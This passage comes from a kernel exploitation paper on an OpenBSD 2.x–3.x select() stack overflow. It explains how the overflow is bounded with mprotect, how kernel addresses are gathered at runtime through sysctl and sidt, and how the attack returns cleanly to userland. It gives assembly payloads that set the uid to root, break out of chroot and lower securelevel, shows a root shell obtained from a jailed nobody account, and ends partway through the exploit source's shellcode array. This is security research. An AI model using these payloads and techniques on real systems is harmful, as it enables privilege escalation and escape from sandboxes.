register struct proc *p = curproc;
int type = frame.tf_trapno;
...
switch (type) {
...
line: 269
case T_PROTFLT:
case T_SEGNPFLT:
case T_ALIGNFLT:
/* Check for copyin/copyout fault. */
[1] if (p && p->p_addr) {
[2] pcb = &p->p_addr->u_pcb;
[3] if (pcb->pcb_onfault != 0) {
copyfault:
[4] frame.tf_eip = (int)pcb->pcb_onfault;
return;
}
}
...
Faults such as 'protection', 'segment not present' and 'alignment' are
handled all together, through a switch statement in trap() code. The
appropriate case for the mentioned faults in trap() , initially checks for
the existence of the process structure and the user structure [1] then
loads the process control block from the user structure [2], check if the
pcb_onfault is set [3] if its set, if so, the instruction pointer (%eip) of
the control block is overwritten with the value of this special fault
handler [4]. After the process is context switched and given the cpu, it
will start running from the new handler code in kernel space. In the case
of copyin() , execution will be redirected to _copy_fault .
Armoured with all this knowledge, we can now provide a solution for the
'big size copyin()' problem.
--[ 3.1.1 - mprotect() 4 life!
x86 cpu memory operations such like trying to read from write only (-w-)
page or trying to write to a read only (r--) or no access (---) page and
some other combinations will throw out a protection fault which will be
handled by trap() code as shown above.
This basic functionality will allow us to write as many bytes into kernel
space as we wish, no matter how big the size value actually is. As seen
above, the trap() code checks for pcb_onfault handler for protection faults
and redirects execution to it. In order to stop copying from user land to
kernel land, we will need to turn off the read protection bit of any
certain page following the overflow vector and achieve our goal.
-------------
| rwx | --> Dynamically allocated PAGE_SIZEd
| | user land memory
| |
|xxxxxxxxxxx| --> Overflow vector (fd_set array)
------------- (saved %ebp, %eip overwrite values)
| -w- |
| |
| | --> Dynamically allocated PAGE_SIZEd
| | consecutive memory, PROT_WRITE
-------------
The way to control the overflow as described in the diagram is to allocate
2 PAGE_SIZEd memory chunks and fill the end of the first page with overflow
data (exploitation vector) and then turn off the read protection bit of the
following page.
At this stage we also run into another problem (albeit rather simple to
overcome). PAGE_SIZE is 4096 in x86 and 4096 bytes of overflowed stack will
crash the kernel at an earlier stage (before we take control).
Actually for this specific overflow saved %ebp and saved %eip is 192 and
196 bytes away from the overflowed buffer, respectively. So, what we'll do
is allocate 2 pages and pass the fd_set pointer as 'second_page - 200'.
Then copyin() will start copying just 200 bytes before the end of the
readable page and will hit the non readable page right after. An expection
will be thrown and trap() will handle the fault as explained, 'protection
fault' handler will check pcb_onfault and set the instruction pointer of
the current PCB to the address of the handler, in this case _copy_fault.
_copy_fault will return EFAULT.
If we go back to the sys_select() code getbits() macro [4] will check for
the return value and will go to 'done' label on any value other than
success (0). At this point sys_select() set the error code (errno) and
return to syscall() (syscall dispatcher).
Here is the test code to verify the mprotect technique:
#include <stdio.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <unistd.h>
int
main(void)
{
char *buf;
u_long pgsz = sysconf(_SC_PAGESIZE);
buf = (char *) malloc(pgsz * 3);
/* asking for 3 pages, just to be safe */
if(!buf) { perror("malloc"); exit(-1); }
memset(buf, 0x41, pgsz*3); /* 0x41414141 ;) */
buf = (char *) (((u_long) buf & ~pgsz) + pgsz);
/* actually, we'r using the 2. and 3. pages*/
if(mprotect((char *) ((u_long) buf + pgsz), (size_t) pgsz,
PROT_WRITE) < 0)
{
perror("mprotect"); exit(-1);
}
/* we set the 3rd page as WRITE only,
* anything other than READ is fine
*/
select(0x80000000, (fd_set *) ((u_long) buf + pgsz - 200), NULL,
NULL, NULL);
}
- The ddb> kernel debugger
To be able to debug the kernel we will need to set up the ddb kernel
debugger. Type the following commands to make sure ddb is set and don't
forget that, you should have some sort of console access to be able to
debug the kernel. (Physical access, console cable or those funky network
console devices...)
bash-2.05a# sysctl -w ddb.panic=1
ddb.panic: 1 -> 1
bash-2.05a# sysctl -w ddb.console=1
ddb.console: 1 -> 1
The first sysctl command configures ddb to kick in on kernel panics. The
latter will set up ddb accessible from console at any given time, with the
ESC+CTRL+ALT key combination.
There is no way to explore kernel vulnerabilities without many panic()s
getting in the way, so lets get dirty.
bash-2.05a# gcc -o test2 test2.c
bash-2.05a# sync
bash-2.05a# sync
bash-2.05a# uname -a
OpenBSD kernfu 3.1 GENERIC#59 i386
bash-2.05a# ./test2
uvm_fault(0xe4536c6c, 0x41414000, 0, 1) -> e
kernel: page fault trap, code=0
Stopped at 0x41414141:uvm_fault(0xe4536c6c, 0x41414000, 0, 1) -> e
...
ddb> trace
...
_kdb_trap(6,0,e462af08,1) at _kdb_trap+0xc1
_trap() at _trap+0x1b0
--- trap (number 6) ---
0x41414141:
ddb>
What all this means is that a page fault trap was taken from for address
0x41414141 and since this is an invalid address for kernel land, it was not
able to be paged in (such like every illegal address reference) which lead
to a panic(). This means we are on the right track and indeed overwrite the
%eip since the page 0x41414000 was attempted to loaded into memory.
Type following for a clean reboot.
ddb> boot sync
....
Lets verify that we gain the control by overwriting the %eip - here is how
to set the appropriate breakpoints:
Hit CTRL+ALT+ESC:
ddb> x/i _sys_select,130
_sys_select: pushl %ebp
_sys_select+0x1: movl %esp,%ebp
...
...
_sys_select+0x424: leave
_sys_select+0x425: ret
_sys_select+0x426: nop
...
ddb> break _sys_select+0x425
ddb> cont
^M --> hit enter!
bash-2.05a#
At this stage some other process might kick ddb> in because of its use of
the select syscall, just type 'cont' on the ddb> prompt and hit CR.
bash-2.05a# ./test2
...
ddb> print $ebp
41414141
ddb> x/i $eip
_sys_select+0x425: ret
ddb> x/x $esp
0xe461df3c: 41414141 --> saved instruction pointer!
ddb> boot sync
...
--[ 3.2 - Payload storage problem
The payload storage area for user land vulnerabilities is usually the
overflowed buffer itself (if it's big enough) or some known user controlled
other location such like environment variables, pre-overflow command
leftovers, etc, etc, in short, any user controlled memory that will stay
resident long enough to reference at a later time. Since the overflowed
buffer may be small in size, it is not always feasible to store the payload
there. Actually, for this specific buffer overflow, the contents of the
overflowed buffer get corrupted leaving us no chance to return to it. Also,
we will need enough room to execute code in kernel space to be able to do
complex tasks, such as resetting the chroot pointers, altering pcred, ucred
and securelevel and resolving where to return to ... for all these reasons
we are going to execute payload in the source buffer as opposed to the
destination (overflowed) buffer. This means we're going to jump to the user
land page, execute our payload and return back to our caller transparently.
This is all legitimate execution and we will have almost unlimited space to
execute our payload. In regards to the select() overflow: copyin(ubuf,
kbuf, big_num), we'll execute code inside 'ubuf'.
--[ 3.3 - Return to user land problem
After we gain control and execute our payload, we need to clean things up
and start our journey to user land but this isn't as easy as it may sound.
My first approach was to do an 'iret' (return from interrupt) in the
payload after altering all necessary kernel structures but this approach
turn out to be real painful. First of all, it's not an easy task to do all
the post-syscall handling done by syscall() function. Also, the trap() code
for kernel to user land transition can not be easily turn into payload
assembly code. However the most obvious reason, not to choose the 'iret'
technique is that messing with important kernel primitives such as locks,
pending signals and/or mask-able interrupts is a really risky job thus
drastically reducing the reliability of exploits and increasing the
potential for post exploitation kernel panics. So I choose to stay out of
it! ;)
The solution was obvious, after payload execution we should return to the
point in syscall() handler where _sys_select() was supposed to return.
After that point, we don't need to care about any of the aforementioned
kernel primitives. This solution leads to the question of how to find out
where to return into since we have overwritten the return address to gain
control thus losing our caller's location. We will explorer many of the
possible solutions in section 5 and usage of the idtr register for kernel
land address gathering will be introduced on section 5.2 for some serious
fun!! Let's get going ...
--[ 4 - Crafting the exploit
In this section, setting up of proper breakpoints and how to calculate the
distance to the saved instruction pointer will be discussed. Also, a new
version of test code will be presented in order to demostrate that
execution can be successfully directed to the user land buffer.
--[ 4.1 - Breakpoints & Distance Calculation
bash-2.05a# nm /bsd | grep _sys_select
e045f58c T _linux_sys_select
e01c5a3c T _sys_select
bash-2.05a# objdump -d --start-address=0xe01c5a3c --stop-
address=0xe01c5e63\
> /bsd | grep _copyin
e01c5b72: e8 f9 a9 f3 ff call e0100570 <_copyin>
e01c5b9f: e8 cc a9 f3 ff call e0100570 <_copyin>
e01c5bcc: e8 9f a9 f3 ff call e0100570 <_copyin>
e01c5bf9: e8 72 a9 f3 ff call e0100570 <_copyin>
The first copyin() is the one that copies the readfds and overflows the
kernel stack. That's the one we are after.
CTRL+ALT+ESC
bash-2.05a# Stopped at _Debugger+0x4: leave
ddb> x/i 0xe01c5b72
_sys_select+0x136: call _copyin
ddb> break _sys_select+0x136
ddb> cont
^M
bash-2.05a# ./test2
Breakpoint at _sys_select+0x136: call _copyin
ddb> x/x $esp,3
0xe461de20: 5f38 e461de78 10000000
These are the 3 arguments pushed on the stack for copyin() ubuf: 0x5f38
kbuf: 0xe461de78 len:10000000
ddb> x/x 0x5f38
0x5f38: 41414141
...
ddb> x/x $ebp
0xe461df38: e461dfa8 --> saved %ebp
ddb> ^M
0xe461df3c: e02f34ce --> saved %eip
ddb>
In the x86 calling convention, 2 longs just before the base pointer are the
saved eip (return address) and the saved ebp, respectively. To calculate
the distance between the stack buffer and the saved eip in ddb is done as
follows:
ddb> print 0xe461df3c - 0xe461de78
c4
ddb> boot sync
...
The distance between the address of saved "return address" and the kernel
buffer is 196 (0xc4) bytes. Limiting our copyin() operation to 200 bytes
with the mprotect() technique will ensure a clean overflow.
4.2 - Return address overwrite & execution redirection
At this stage I'll introduce another test code to "verify" execution
redirection and usability of the user land buffer for payload execution.
test3.c:
#include <stdio.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <unistd.h>
int
main(void)
{
char *buf;
long *lptr;
u_long pgsz = sysconf(_SC_PAGESIZE);
buf = (char *) malloc(pgsz * 3);
if(!buf) { perror("malloc"); exit(-1); }
memset(buf, 0xcc, pgsz*3); /* int3 */
buf = (char *) (((u_long) buf & ~pgsz) + pgsz);
if(mprotect((char *) ((u_long) buf + pgsz), (size_t) pgsz,
PROT_WRITE) < 0)
{
perror("mprotect"); exit(-1);
}
lptr = (long *) ((u_long)buf + pgsz - 8);
*lptr++ = 0xbaddcafe; /* saved %ebp, does not
* matter at this stage
*/
*lptr++ = (long) buf; /* overwrite the return addr
* with buf's addr
*/
select(0x80000000, (fd_set *) ((u_long) buf + pgsz - 200), NULL,
NULL, NULL);
}
test3.c code will overwrite the saved ebp with 0xbaddcafe and the saved
instruction pointer with the address of the user land buffer, which is
filled with 'int 3''s (debug interrupts). This code should kick in the
kernel debugger.
bash-2.05a# gcc -o test3 test3.c
bash-2.05a# ./test3
Stopped at 0x5001: int $3
ddb> x/i $eip,2
0x5001: int $3
0x5002: int $3
ddb> print $ebp
baddcafe
ddb> boot sync
...
Everything goes as planned, we successfully jump to user land and execute
code. Now we shall concentrate on other issues such as payload/shellcode
creation, symbol address gathering on run time, etc...
--[ 5 - How to gather offsets & symbol addresses
Before considering what to achieve with kernel payload, I should remind you
about the previous questions that we raised which was how to return back to
user land, the proposed solution was basically to fix up %ebp, find out
where syscall() handler is in memory, plus where in syscall() we should be
returning. Payload is the obvious place to do the mentioned fix- ups but
this brings the complication of how to gather kernel addresses. After
dealing with some insufficient pre-exploitation techniques such like 'nm
/bsd', kvm_open() and nlist() system interfaces which are all lacking the
solution for non-reable (in terms of fs permissions) kernel image (/bsd).
I come to the conclusion that all address gathering should be done on run
time (in the execution state of the payload). Many win32 folks have been
doing this type of automation in shellcodes by walking through the thread
environment block (TEB) for some time. Also kernel structures such like the
process structure has to be supplied to the payload in order to achieve our
goals. Following sections would introduce the proposed solutions for kernel
space address gathering.
--[ 5.1 - sysctl() syscall
sysctl() system call will enable us to gather process structure information
which is needed for the credential and chroot manipulation payloads. In
this section we will take a brief look into the internals of the sysctl()
syscall.
sysctl is a system call to get and set kernel level information from user
land. It has a good interface to pass data from kernel to user land and
back. sysctl interface is structured into several sub components such as
the kernel, hardware, virtual memory, net, filesystem and architecure
system control interfaces. We'll concentrate on the kernel sysctl's which
is handled by the kern_sysctl()function. See: sys/kern/kern_sysctl.c:234
kern_sysctl() function also assigns different handlers to certain queries
such as proc structure, clockrate, vnode and file information. The process
structure is handled by the sysctl_doproc() function and this is the
interface to kernel land information that we are after!
int
sysctl_doproc(name, namelen, where, sizep)
int *name;
u_int namelen;
char *where;
size_t *sizep;
{
...
[1] for (; p != 0; p = LIST_NEXT(p, p_list)) {
...
[2] switch (name[0]) {
case KERN_PROC_PID:
/* could do this with just a lookup */
[3] if (p->p_pid != (pid_t)name[1])
continue;
break;
...
}
....
if (buflen >= sizeof(struct kinfo_proc)) {
[4] fill_eproc(p, &eproc);
[5] error = copyout((caddr_t)p, &dp->kp_proc,
sizeof(struct proc));
....
void
fill_eproc(p, ep)
register struct proc *p;
register struct eproc *ep;
{
register struct tty *tp;
[6] ep->e_paddr = p;
Also for sysctl_doproc() there can be different types of queries which are
handled by the switch [2] statement. KERN_PROC_PID is the query that is
sufficient enough to gather the needed address about any process's proc
structure. For the select() overflow it was sufficient enough just to
gather the parent process's proc address but the setitimer() vulnerability
make use of the sysctl() interface in many different ways (more on this
later).
sysctl_doproc() code iterates through [1] the linked list of proc
structures in order to find the queried pid [3], and, if found, certain
structures (eproc & kp_proc) get filled-in [4], [5] and copyout to user
land. fill_eproc() (called from [4]) does the trick [6] and copies the
proc address of the queried pid into the e_paddr member of the eproc
structure, which, in turn, was eventually copied out to user land in the
kinfo_proc structure (which is the main data structure for the
sysctl_doproc() function). For further information on members of these
structures see: sys/sys/sysctl.h.
The following is the function we'll be using to retrieve the kinfo_proc
structure:
void
get_proc(pid_t pid, struct kinfo_proc *kp)
{
u_int arr[4], len;
arr[0] = CTL_KERN;
arr[1] = KERN_PROC;
arr[2] = KERN_PROC_PID;
arr[3] = pid;
len = sizeof(struct kinfo_proc);
if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) {
perror("sysctl");
exit(-1);
}
}
It is a pretty straightforward interface, what happens is: CTL_KERN will be
dispatched to kern_sysctl() by sys_sysctl() KERN_PROC will be dispatched to
sysctl_doproc() by kern_sysctl() KERN_PROC_PID will be handled by the
aforementioned switch statement, eventually returning the kinfo_proc
structure.
<rant>
sysctl() system call might be there with all good intensions such as
getting and setting kernel information in a dynamic fashion. However, from
a security point of view, I believe sysctl() syscall should not be blindly
giving proc information about any queried pid. Credential checks should be
added in proper places, especially for the systcl_doproc() interface ...
</rant>
--[ 5.2 - sidt technique & _kernel_text search
As mentioned before, we are after transparent payload execution so that
_sys_select() will actually return to its caller _syscall() as expected. I
will explain how to gather the return path in this section. The solution
depends on the idtr (interrupt descriptor table register) that contains a
fixed location address, which is the start of the Interrupt Descriptor
Table (IDT).
Without going into too many details, IDT is the table that holds the
interrupt handlers for various interrupt vectors. Each interrupt in x86 is
represented by a number in the range 0 - 255 and these numbers are called
the interrupt vectors. These vectors are used to locate the initial handler
for any given interrupt inside the IDT. IDT contains 256 entries, each
being 8 bytes. IDT descriptor entries can be 3 different types but we will
concentrate only on the gate descriptor:
sys/arch/i386/include/segment.h:99
struct gate_descriptor {
unsigned gd_looffset:16; /* gate offset (lsb) */
unsigned gd_selector:16; /* gate segment selector */
unsigned gd_stkcpy:5; /* number of stack wds to cpy */
unsigned gd_xx:3; /* unused */
unsigned gd_type:5; /* segment type */
unsigned gd_dpl:2; /* segment descriptor priority
level */
unsigned gd_p:1; /* segment descriptor present */
unsigned gd_hioffset:16; /* gate offset (msb) */
}
gate_descriptor's members gd_looffset and gd_hioffset will form the low
level interrupt handler's address. For more information on the various
fields, reader should consult to the architecture manuals [Intel].
System call interface to request kernel services is implemented through the
software initiated interrupt: 0x80. Armored with this knowledge, starting
from the address of the low level syscall interrupt handler and walking
through the kernel text, we can find our way to the high level syscall
handler and finally return to it.
Interrupt descriptor table under OpenBSD is named _idt_region and slot
number: 0x80 is the gate descriptor for the system call interrupt 'int
0x80'. Since every member is 8 bytes, system call gate_descriptor is at
address '_idt_region + 0x80 * 0x8' which is '_idt_region + 0x400'.
bash-2.05a# Stopped at _Debugger+0x4: leave
ddb> x/x _idt_region+0x400
_idt_region+0x400: 80e4c
ddb> ^M
_idt_region+0x404: e010ef00
To figure out the initial syscall handler we need to do the proper 'shift'
and 'or' operations on the gate descriptor bit fields, which leads to the
0xe0100e4c kernel address.
bash-2.05a# Stopped at _Debugger+0x4: leave
ddb> x/x 0xe0100e4c
_Xosyscall_end: pushl $0x2
ddb> ^M
_Xosyscall_end+0x2: pushl $0x3
...
...
_Xosyscall_end+0x20: call _syscall
...
As per exception or software initiated interrupt, the corresponding vector
is found in the IDT and the execution is redirected to the handler gathered
from the gate descriptor. This is an intermediate handler and will
eventually take us to real handler. As seen at the kernel debugger output,
the initial handler _Xosyscall_end saves all registers (also some other low
level stuff) and immediately calls the real handler which is _syscall().
We have mentioned that the idtr register always contains the address of the
_idt_region, here is the way to access its content:
sidt 0x4(%edi)
mov 0x6(%edi),%ebx
Address of the _idt_region is moved to ebx and IDT can now be referenced
via ebx. Assembly code to gather the syscall handler starting from the
initial handler is as follows;
sidt 0x4(%edi)
mov 0x6(%edi),%ebx # mov _idt_region is in ebx
mov 0x400(%ebx),%edx # _idt_region[0x80 * (2*sizeof long) = 0x400]
mov 0x404(%ebx),%ecx # _idt_region[0x404]
shr $0x10,%ecx #
sal $0x10,%ecx # ecx = gd_hioffset
sal $0x10,%edx #
shr $0x10,%edx # edx = gd_looffset
or %ecx,%edx # edx = ecx | edx = _Xosyscall_end
At this stage we have successfully found the initial/intermediate handler's
location, so the next step is to search through the kernel text, find 'call
_syscall', gather the displacement of the call instruction and add it to
the address of the instruction's location. Also plus 5 should be added to
the displacement for the size of the call instruction.
xor %ecx,%ecx # zero out the counter
up:
inc %ecx
movb (%edx,%ecx),%bl # bl = _Xosyscall_end++
cmpb $0xe8,%bl # if bl == 0xe8 : 'call'
jne up
lea (%edx,%ecx),%ebx # _Xosyscall_end+%ecx: call _syscall
inc %ecx
mov (%edx,%ecx),%ecx # take the displacement of the call ins.
add $0x5,%ecx # add 5 to displacement
add %ebx,%ecx # ecx = _Xosyscall_end+0x20 + disp = _syscall()
At this stage %ecx holds the address of the real handler _syscall(). The
next step is to find out where to return inside the syscall() function
which eventually leads to a broader research on various versions of OpenBSD
with various kernel compilation options. Luckily, it turns out to be safe
to search for the 'call *%eax' instruction inside the _syscall(), because
this turns out to be the instruction that dispatches every system call to
its final handler in every OpenBSD version I have tested.
For OpenBSD 2.6 through 3.1 kernel code always dispatched the system calls
with the 'call *%eax' instruction, which is unique in the scope of
_syscall() function.
bash-2.05a# Stopped at _Debugger+0x4: leave
ddb> x/i _syscall+0x240
_syscall+0x240: call *%eax
ddb>cont
Our goal is now to figure out the offset (0x240 in the above disasm) for
any kernel version so that we can return to the instruction just after it
from our payload and achieve our goal. The code to search for 'call *%eax'
is as follows:
# _syscall+0x240: ff
# _syscall+0x241: d0 0x240->0x241 OBSD3.1
mov %ecx,%edi # ecx is the addr of _syscall
movw $0xd0ff,%ax # search for ffd0 'call *%eax'
cld
mov $0xffffffff,%ecx
repnz
scasw # scan (%edi++) for %ax
# %edi gets incremented one last time before breaking the loop
# %edi contains the instruction address just after 'call *%eax'
# so return to it!!!
xor %eax,%eax #set up the return value = Success ;)
push %edi # push %edi on the stack and return to it
ret
Finally, this is all we needed for a clean return. This payload can be used
for any syscall overflow without requiring any further modification.
--[ 5.3 - _db_lookup() technique
This technique introduces no new concepts; it is just another kernel text
search to find out the address of _db_lookup() -- the kernel land
equivalent of dlsym(). The search is based on the function fingerprint,
which is fairly safe on the recent versions on which the code has been
developed, but it might not work on the older versions. I choose to keep it
out of the text for brevity's sake but it's exact the same 'repnz scas'
concept just used in the idtr technique. (for sample code, contact me.)
--[ 5.4 - /usr/bin/nm, kvm_open(), nlist()
/usr/bin/nm, kvm library and nlist() library interface can all be used to
gather kernel land symbols and offsets but, as we already mentioned, they
all require a readable kernel image and/or additional privileges which in
most secured systems are not usually avaliable.
Furthermore, the most obvious problem with these interfaces are that they
won't work at all in chroot()ed environments with no privileges (nobody).
These are the main reasons I have not used these techniques within the
exploitation phase of privilege escalation and chroot breaking, but after
establishing full control over the system (uid = 0 and out of jail), I have
made use of offline binary symbol gathering in order to reset the
securelevel, more about this later.
--[ 5.5 - %ebp fixup
After taking care of the saved return address, we need to fix %ebp to
prevent crashes in later stages (especially in _syscall() code). The proper
way to calculate %ebp is to find out the difference between the stack
pointer and the saved base pointer at the procedure exit and used this
static number to restore %ebp. For all the versions of OpenBSD 2.6 through
3.1 this difference was 0x68 bytes. You can simply set a breakpoint on
_sys_select prolog and another one just before the 'leave' instruction at
the epilog and calculate the difference between the %ebp recorded at the
prolog and the %esp recorded just before the epilog.
lea 0x68(%esp),%ebp # fixup ebp
Above instruction would be enough to set the %ebp back to its old value.
--[ 6 - Payload/Shellcode Creation
In the following sections we'll develop small payloads that modify certain
fields of its parent process' proc structure to achieve elevated privileges
and break out of chroot/jail environments. Then, we'll chain the developed
assembly code with the sidt code to work our way back to user land and
enjoy our new privileges.
--[ 6.1 - What to achieve
Setting up a jail with nobody privileges and trying to break out of it
seems like a fairly good goal to achieve. Since all these privilege
separation terms are brought into OpenBSD with the latest OpenSSH, it would
be nice to actually demonstrate how trivial it would be to bypass this kind
of 'protection' by way of such kernel level vulnerabilities.
Certain inetd.conf services and OpenSSH are run as nobody/user in a
chrooted/jailed environment -- intended to be an additional assurance of
security. This is a totally false sense of security; jailme.c code follows:
jailme.c:
#include <stdio.h>
int
main()
{
chdir("/var/tmp/jail");
chroot("/var/tmp/jail");
setgroups(NULL, NULL);
setgid(32767);
setegid(32767);
setuid(32767);
seteuid(32767);
execl("/bin/sh", "jailed", NULL);
}
bash-2.05a# gcc -o jailme jailme.c
bash-2.05a# cp jailme /tmp/jailme
bash-2.05a# mkdir /var/tmp/jail
bash-2.05a# mkdir /var/tmp/jail/usr
bash-2.05a# mkdir /var/tmp/jail/bin /var/tmp/jail/usr/lib
bash-2.05a# mkdir /var/tmp/jail/usr/libexec
bash-2.05a# cp /bin/sh /var/tmp/jail/bin/
bash-2.05a# cp /usr/bin/id /var/tmp/jail/bin/
bash-2.05a# cp /bin/ls /var/tmp/jail/bin/
bash-2.05a# cp /usr/lib/libc.so.28.3 /var/tmp/jail/usr/lib/
bash-2.05a# cp /usr/libexec/ld.so /var/tmp/jail/usr/libexec/
bash-2.05a# cat >> /etc/inetd.conf
1024 stream tcp nowait root /tmp/jailme
^C
bash-2.05a# ps aux | grep inetd
root 19121 0.0 1.1 148 352 p0 S+ 8:19AM 0:00.05 grep
inetd
root 27152 0.0 1.1 64 348 ?? Is 6:00PM 0:00.08 inetd
bash-2.05a# kill -HUP 27152
bash-2.05a# nc -v localhost 1024
Connection to localhost 1024 port [tcp/*] succeeded!
ls -l /
total 4
drwxr-xr-x 2 0 0 512 Dec 9 16:23 bin
drwxr-xr-x 4 0 0 512 Dec 9 16:21 usr
id
uid=32767 gid=32767
ps
jailed: <stdin>[4]: ps: not found
....
--[ 6.2 - The payload
Throughout this section we will introduce all the tiny bits of the complete
payload. So all these section chained together will form the eventual
payload, which will be available at the code section (10) of this paper.
--[ 6.2.1 - p_cred & u_cred
We'll start with the privilege elevation section of the payload. Following
is the payload to update ucred (credentials of user) and pcred (credentials
of the process) of any given proc structure. Exploit code fills in the proc
address of its parent process by using the sysctl() system call (discussed
on 5.1) replacing .long 0x12345678. The following 'call' and 'pop'
instructions will load the address of the given proc structure address into
%edi. The typical address gathering technique used in almost every PIC
%shellcode [ALEPH1].
call moo
.long 0x12345678 <-- pproc addr
.long 0xdeadcafe
.long 0xbeefdead
nop
nop
nop
moo:
pop %edi
mov (%edi),%ecx # parent's proc addr in ecx
# update p_ruid
mov 0x10(%ecx),%ebx # ebx = p->p_cred
xor %eax,%eax # eax = 0
mov %eax,0x4(%ebx) # p->p_cred->p_ruid = 0
# update cr_uid
mov (%ebx),%edx # edx = p->p_cred->pc_ucred
mov %eax,0x4(%edx) # p->p_cred->pc_ucred->cr_uid = 0
--[ 6.2.2 - chroot breaking
Next tiny assembly fragment will be the chroot breaker of our complete
payload.
Without going into extra detail (time is running out, deadline is within 3
days ;)), lets take a brief look of how chroot is checked on a per-process
basis. chroot jails are implemented by filling in the fd_rdir member of the
filedesc (open files structure) with the desired jail directories vnode
pointer. When kernel is giving certain services to any process, it checks
for the existence of this pointer and if it's filled with a vnode that
process is handled slightly different and kernel will create the notion of
a new root directory for this process thus jailing it into a predefined
directory. For a regular process this pointer is zero / unset. So without
any further need to go into implementation level details, just setting this
pointer to NULL means FREEDOM! fd_rdir is referenced through the proc
structure as follows:
p->p_fd->fd_rdir
As with the credentials structure, filedesc is also trivial to access and
alter, with only 2 instruction additions to our payload.
# update p->p_fd->fd_rdir to break chroot()
mov 0x14(%ecx),%edx # edx = p->p_fd
mov %eax,0xc(%edx) # p->p_fd->fd_rdir = 0
--[ 6.2.3 - securelevel
OpenBSD has 4 different securelevels starting from permanently insecure to
highly secure mode. The system by default runs at level 1 which is the
secure mode. Secure mode restrictions are as follows:
- securelevel may no longer be lowered except by init
- /dev/mem and /dev/kmem may not be written to
- raw disk devices of mounted file systems are read-only
- system immutable and append-only file flags may not be removed
- kernel modules may not be loaded or unloaded
Some of these restrictions might complicate further compromise of the
system. So we should also take care of the securelevel flag and reset it to
0, which is the insecure level that gives you privileges such as being able
to load kernel modules to further penetrate the system.
But there were many problems in run time searching of the address of
securelevel in memory without false positives so I chose to utilize this
attack at a later stage. The stage that we get uid 0 and break free out of
jail, now we have all the interfaces available mentioned in section 5.4 to
query any kernel symbol and retrieve its address.
bash-2.05a# /usr/bin/nm /bsd | grep securelevel
e05cff38 B _securelevel
For this reason an additional, second stage exploit was crafted (without
any difference, other then the payload) that executes the following
assembly routine and returns to user land, using the idtr technique. See
ex_select_obsd_secl.c in section 10
call moo
.long 0x12345678 <-- address of securelevel filled by user
moo:
pop %edi
mov (%edi),%ebx # address of securelevel in ebx
# reset security level to 0/insecure
xor %eax,%eax # eax = 0
mov %eax,(%ebx) # securelevel = 0
...
--[ 6.3 - Get root & escape jail
All of the above chained into 2 piece of exploit code. Here is the door to
freedom! (Exploits and payloads can be found in section 10)
bash-2.05a# gcc -o ex ex_select_obsd.c
bash-2.05a# gcc -o ex2 ex_select_obsd_secl.c
bash-2.05a# cp ex /var/tmp/jail/
bash-2.05a# cp ex2 /var/tmp/jail/
bash-2.05a# nc -v localhost 1024
id
uid=32767 gid=32767
ls /
bin
ex
ex2
usr
./ex
[*] OpenBSD 2.x - 3.x select() kernel overflow [*]
[*] by Sinan "noir" Eren - noir@olympos.org [*]
userland: 0x0000df38 parent_proc: 0xe46373a4
id
uid=0(root) gid=32767(nobody)
uname -a
OpenBSD kernfu 3.1 GENERIC#59 i386
ls /
.cshrc
.profile
altroot
bin
boot
bsd
dev
etc
...
sysctl kern.securelevel
kern.securelevel = 1
nm /bsd | grep _securelevel
e05cff38 B _securelevel
./ex2 e05cff38
sysctl kern.securelevel
kern.securelevel = 0
... ;)
Directly copying the exploit into the jailed environment might seem a bit
unrealistic but it really is not an issue with system call redirection
[MAXIMI] or even by using little more imaginative shellcodes, you can
execute anything from a remote source without any further need for a shell
interpreter. To the best of my knowledge there is 2 commercial products
that have already achieved such remote execution simulations. [IMPACT],
[CANVAS]
--[ 7 - Conclusions
My goal in writing this paper was try to prove kernel land vulnerabilities
such as stack overflows and integer conditions can be exploited and lead to
total control over the system, no matter how strict your user land (i.e.,
privilege separation) or even kernel land (i.e., chroot, systrace,
securelevel) enforcements are ... I also tried to contribute to the newly
raised concepts (greets to Gera) of fail-safe and reusable exploitation
code generation.
I would like to end this article with my favorite vuln-dev posting of all
time:
Subject: RE: OpenSSH Vulns (new?) Priv seperation
[...]
reducing root-run code from 27000 to 2500 lines is the important part.
who cares how many holes there are when it is in /var/empty/sshd chroot
with no possibility of root :)
XXXXX
[ I CARE. lol! ;)]
--[ 8 - Greetings
Thanks to Dan and Dave for correcting my English and committing many logic
fixes. Thanks to certain anonymous people for their help and support.
Greets to: optyx, dan, dave aitel, gera, bind, jeru, #convers
uberhax0r, olympos and gsu.linux ppl
Most thanks of all to goes to Asli for support, help and her never-ending
affection. Seni Seviyorum, mosirrr!!
--[ 9 - References
- [ESA] Exploiting Kernel Buffer Overflows FreeBSD Style
http://online.securityfocus.com/archive/1/153336
- [LSD-PL] Kernel Level Vulnerabilities, 5th Argus Hacking Challenge
http://lsd-pl.net/kernel_vulnerabilities.html
- [4.4 BSD] The Design and Implementation of the 4.4BSD Operating
System
- [Intel] Intel Pentium 4 Processors Manuals
http://developer.intel.com/design/Pentium4/manuals/
- [ALEPH1] Smashing The Stack For Fun And Profit
http://www.phrack.org/show.php?p=49&a=14
- [MAXIMI] Syscall Proxying - Simulating Remote Execution
http://www.corest.com/files/files/13/BlackHat2002.pdf
- [IMPACT] http://www.corest.com/products/coreimpact/index.php
- [CANVAS] http://www.immunitysec.com/CANVAS
- [ODED] Big Loop Integer Protection
Phrack #60 0x09 by Oded Horovitz
--[ 10 - Code
<++> ./ex_kernel/ex_select_obsd.c
/**
** OpenBSD 2.x 3.x select() kernel bof exploit
** Sinan "noir" Eren
** noir@olympos.org | noir@uberhax0r.net
** (c) 2002
**
**/
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/sysctl.h>
#include <sys/signal.h>
#include <sys/utsname.h>
#include <sys/stat.h>
/* kernel_sc.s shellcode */
unsigned char shellcode[] =
"\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe"
"\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89"
"\x42\x04\x8b\x51\x14\x89\x42\x0c\x8d\x6c\x24\x68\x0f\x01\x4f\x04\x8b"
"\x5f\x06\x8b\x93\x00\x04\x00\x00\x8b\x8b\x04\x04\x00\x00\xc1\xe9\x10"
"\xc1\xe1\x10\xc1\xe2\x10\xc1\xea\x10\x09\xca\x31\xc9\x41\x8a\x1c\x0a"
